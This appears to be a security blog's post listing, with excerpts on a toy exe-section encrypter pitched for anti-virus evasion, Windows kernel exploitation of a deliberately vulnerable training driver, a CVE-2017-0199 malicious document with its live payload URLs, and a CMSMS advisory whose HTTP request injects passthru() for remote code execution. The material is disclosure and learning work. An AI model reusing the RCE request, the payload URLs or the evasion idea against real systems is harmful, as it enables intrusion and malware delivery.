A Basic RSA Encrypter

This is a small post about implementing a basic RSA encrypter to encrypt sections in an exe. We can use this to exchange exes with people. We will encrypt the section using the public key and the user has to use his private key to decrypt the exe. This can be applied in evading anti-viruses too.

I will use multiplication instead of an exponent. Since it would be easy to implement in few lines in assembly. However, this will allow breaking the private key easily hence the complete scheme is broken.

Enc = (m*e) \text{ mod } N

Dec = (c*d) \text{ mod } N

The correctness of this scheme depends on the fact that

Dec(Enc(m)) = (m*e*d) \text{ mod } N = m \text{ mod } N

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eLearnSecurity Courses

With the competitiveness of the infosec industry, security training is definitely needed. Let me share my story. Back in 2013 I heard about eLearnSecurity. Those days the only courses was Penetration Testing Professional and Penetration Testing Student. But I didn’t have enough money to sign up since I was 16 years old. With the pocket money I had, I signed up for the Penetration Testing Student course since I was curious about the material. I was amazed by their teaching techniques. Everything was so clearly written. After that I had to enter university and I had no time to concentrate on the things I like to do. Gradually eLearnSecurity started developing specialized courses starting from Web Application Penetration Testing and next came the Extreme edition of this. Meanwhile, they launched a course on reverse engineering too which I was really surprised to see that course since it was the first ever course I saw on reverse engineering.
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Windows Kernel Exploitation – Null Pointer Dereference

Today I’m sharing on exploiting the null pointer dereference vulnerability present in the HackSysExtreme Vulnerable Driver.

The Vulnerability

You can view the source from here.

NTSTATUS TriggerNullPointerDereference(IN PVOID UserBuffer) {
    ULONG UserValue = 0;
    ULONG MagicValue = 0xBAD0B0B0;
    NTSTATUS Status = STATUS_SUCCESS;
    PNULL_POINTER_DEREFERENCE NullPointerDereference = NULL;

    PAGED_CODE();

    __try {
        // Verify if the buffer resides in user mode
        ProbeForRead(UserBuffer,
                     sizeof(NULL_POINTER_DEREFERENCE),
                     (ULONG)__alignof(NULL_POINTER_DEREFERENCE));

        // Allocate Pool chunk
        NullPointerDereference = (PNULL_POINTER_DEREFERENCE)
                                  ExAllocatePoolWithTag(NonPagedPool,
                                                        sizeof(NULL_POINTER_DEREFERENCE),
                                                        (ULONG)POOL_TAG);

        if (!NullPointerDereference) {
            // Unable to allocate Pool chunk
            DbgPrint("[-] Unable to allocate Pool chunk\n");

            Status = STATUS_NO_MEMORY;
            return Status;
        }
        else {
            DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
            DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
            DbgPrint("[+] Pool Size: 0x%X\n", sizeof(NULL_POINTER_DEREFERENCE));
            DbgPrint("[+] Pool Chunk: 0x%p\n", NullPointerDereference);
        }

        // Get the value from user mode
        UserValue = *(PULONG)UserBuffer;

        DbgPrint("[+] UserValue: 0x%p\n", UserValue);
        DbgPrint("[+] NullPointerDereference: 0x%p\n", NullPointerDereference);

        // Validate the magic value
        if (UserValue == MagicValue) {
            NullPointerDereference->Value = UserValue;
            NullPointerDereference->Callback = &NullPointerDereferenceObjectCallback;

            DbgPrint("[+] NullPointerDereference->Value: 0x%p\n", NullPointerDereference->Value);
            DbgPrint("[+] NullPointerDereference->Callback: 0x%p\n", NullPointerDereference->Callback);
        }
        else {
            DbgPrint("[+] Freeing NullPointerDereference Object\n");
            DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
            DbgPrint("[+] Pool Chunk: 0x%p\n", NullPointerDereference);

            // Free the allocated Pool chunk
            ExFreePoolWithTag((PVOID)NullPointerDereference, (ULONG)POOL_TAG);

            // Set to NULL to avoid dangling pointer
            NullPointerDereference = NULL;
        }

#ifdef SECURE
        // Secure Note: This is secure because the developer is checking if
        // 'NullPointerDereference' is not NULL before calling the callback function
        if (NullPointerDereference) {
            NullPointerDereference->Callback();
        }
#else
        DbgPrint("[+] Triggering Null Pointer Dereference\n");

        // Vulnerability Note: This is a vanilla Null Pointer Dereference vulnerability
        // because the developer is not validating if 'NullPointerDereference' is NULL
        // before calling the callback function
        NullPointerDereference->Callback();
#endif
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }

    return Status;
}

As usual, everything is clearly explained in the source. At line 42 the ‘userValue’ is compared with the value ‘0xBAD0B0B0’ and if it fails at line 58 the ‘NullPointerDereference’ value is set to NULL and at line 73 the value ‘NullPointerDereference’ is not validated whether it’s NULL before calling the callback function.

Let’s disassemble and see it closely. As you can see, if the provided ‘MagicValue’ is wrong the value of ‘NullPointerDereference’ is set to NULL to avoid the dangling pointer.
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Windows Kernel Exploitation – Arbitrary Overwrite

Today I’m sharing what I learned on developing an exploit for the arbitrary overwrite vulnerability present in the HackSysExtreme Vulnerable Driver. This is also known as the “write-what-where” vulnerability. You can refer to my previous post on exploiting the stack overflow vulnerability and the analysis of the shellcode.

The Vulnerability

You can check the source from here

NTSTATUS TriggerArbitraryOverwrite(IN PWRITE_WHAT_WHERE UserWriteWhatWhere) {
    PULONG What = NULL;
    PULONG Where = NULL;
    NTSTATUS Status = STATUS_SUCCESS;

    PAGED_CODE();

    __try {
        // Verify if the buffer resides in user mode
        ProbeForRead((PVOID)UserWriteWhatWhere,
                     sizeof(WRITE_WHAT_WHERE),
                     (ULONG)__alignof(WRITE_WHAT_WHERE));

        What = UserWriteWhatWhere->What;
        Where = UserWriteWhatWhere->Where;

        DbgPrint("[+] UserWriteWhatWhere: 0x%p\n", UserWriteWhatWhere);
        DbgPrint("[+] WRITE_WHAT_WHERE Size: 0x%X\n", sizeof(WRITE_WHAT_WHERE));
        DbgPrint("[+] UserWriteWhatWhere->What: 0x%p\n", What);
        DbgPrint("[+] UserWriteWhatWhere->Where: 0x%p\n", Where);

#ifdef SECURE
        // Secure Note: This is secure because the developer is properly validating if address
        // pointed by 'Where' and 'What' value resides in User mode by calling ProbeForRead()
        // routine before performing the write operation
        ProbeForRead((PVOID)Where, sizeof(PULONG), (ULONG)__alignof(PULONG));
        ProbeForRead((PVOID)What, sizeof(PULONG), (ULONG)__alignof(PULONG));

        *(Where) = *(What);
#else
        DbgPrint("[+] Triggering Arbitrary Overwrite\n");

        // Vulnerability Note: This is a vanilla Arbitrary Memory Overwrite vulnerability
        // because the developer is writing the value pointed by 'What' to memory location
        // pointed by 'Where' without properly validating if the values pointed by 'Where'
        // and 'What' resides in User mode
        *(Where) = *(What);
#endif
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }

    return Status;
}

Everything is well explained in the source code. Basically the ‘where’ and ‘what’ pointers are not validated whether they are located in userland. Due to this we can overwrite an arbitrary kernel address with an arbitrary value.
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APT attack in Bangladesh

One of my friends from Bangladesh @rudr4_sarkar sent me this link to analyze which leads to a Word document.
http://mozillatm.com/A0Jst6jAd7CYerrqFmwb4wqDLa5XHPW_May_2017.doc

VirusTotal: https://virustotal.com/en/file/273b0fc627daefd0fbae209e5fa1ea619bfb177a1b0ae2d55a606cf2c6ec2674/analysis/1496541543/

I figured out that this was the CVE-2017-0199 exploit. It was simple to find the payload.

b = '00000068007400740070003a002f002f006d006f007a0069006c006c00610074006d002e0063006f006d002f006c006f006100640069006e0067002e00680074006d006c00000000'

"".join("{0}".format((i+j).replace('00','').decode('hex')) for i, j in zip(b[::2], b[1::2]))

>> 'http://mozillatm.com/loading.html'

This exploit will deliver a malicious HTA file and execute it. HTA means IE, so yeah VBScript will execute nicely.
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CMSMS 2.1.6 Multiple Vulnerabilities

One day I felt like reviewing the source code of some random CMS and I picked CMSMS. This is totally random and I did this to kill boredom.

Remote Code Execution – CVE-2017-8912

In admin/editusertag.php you can create custom user defined tags in which evil PHP functions are not blacklisted.

POST /cms/cmsimple/admin/editusertag.php?_sk_=2a7da2216d41e0ac&userplugin_id=4 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://localhost/cms/cmsimple/admin/editusertag.php?_sk_=2a7da2216d41e0ac&userplugin_id=4
Content-Length: 115
Cookie: cms_admin_user_id=1; cms_passhash=4df45e48ad5885afabe27e446666421b; _sk_=2a7da2216d41e0ac; CMSSESSIDacef9ab5f31b=mckpbvrmtj7n6ri53kiol718c5
Connection: close
Pragma: no-cache
Cache-Control: no-cache

_sk_=2a7da2216d41e0ac&userplugin_id=4&userplugin_name=aaa&code=passthru('dir')%3B&description=&run=1&apply=1&ajax=1 


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